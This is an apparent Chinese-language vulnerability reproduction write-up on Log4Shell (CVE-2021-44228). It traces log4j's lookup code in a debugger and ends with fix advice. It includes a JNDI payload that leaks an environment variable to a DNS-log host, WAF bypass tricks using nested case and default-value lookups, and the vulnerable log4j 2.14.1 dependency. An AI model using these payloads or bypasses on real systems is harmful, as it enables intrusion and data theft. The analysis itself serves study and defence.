CVE-2021-44228漏洞复现

26

环境搭建

  • java version "1.8.0_151"
  • 创建maven项目添加相应的依赖
    <dependencies>

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        
    </dependencies>

调试过程

打个断点往里跟

image-1699759818231

org\apache\logging\log4j\core\lookup\Interpolatorlookup方法发现了我们的payload,之后底下的lookup完成恶意类的一个调用

image-1699759826474

我们在调用栈翻一翻,发现对${的一个判断(if里面有个nolookup,可能可以作为修复方案?)

image-1699759834965

org\apache\logging\log4j\core\lookup\StrSubstitutor里经过一系列操作去除${}里的字符串,送进resolveVariable解析

image-1699759847561

跟进发现有许多协议

image-1699759855547

之后就是根据协议生成对应的lookup

image-1699759862516

还有很多别的lookup,比如java的可以看版本等信息,env的可以看一些环境变量,可以拼接上dnslog的地址带出来,还有就是转换大小写的lower、upper可以作为一个绕过

${jndi:ldap://${env:os}.xxxdnslog}

image-1699759872753

image-1699759881352

再看org\apache\logging\log4j\core\lookup\StrSubstitutor的一大段字符串处理的代码。

image-1699759891198

先不考虑valueDelimiterMatcher,就是将嵌套在里面的${}解析并用返回值替换:

${${lower:ABC}} -> ${abc}

再看看分隔符的作用,我们输入${a:::-b},他把:-前面的给到解析器resolveVariable,因为没有对应协议就用:-后面的替代整个表达式

image-1699759898486

bypass

根据之前的分析,可以嵌套上转变大小写,分隔符

image-1699759907055

修复建议

  • 更新log4j版本

  • 开启log4j2.formatMsgNoLookups

image-1699759920469

image-1699759927208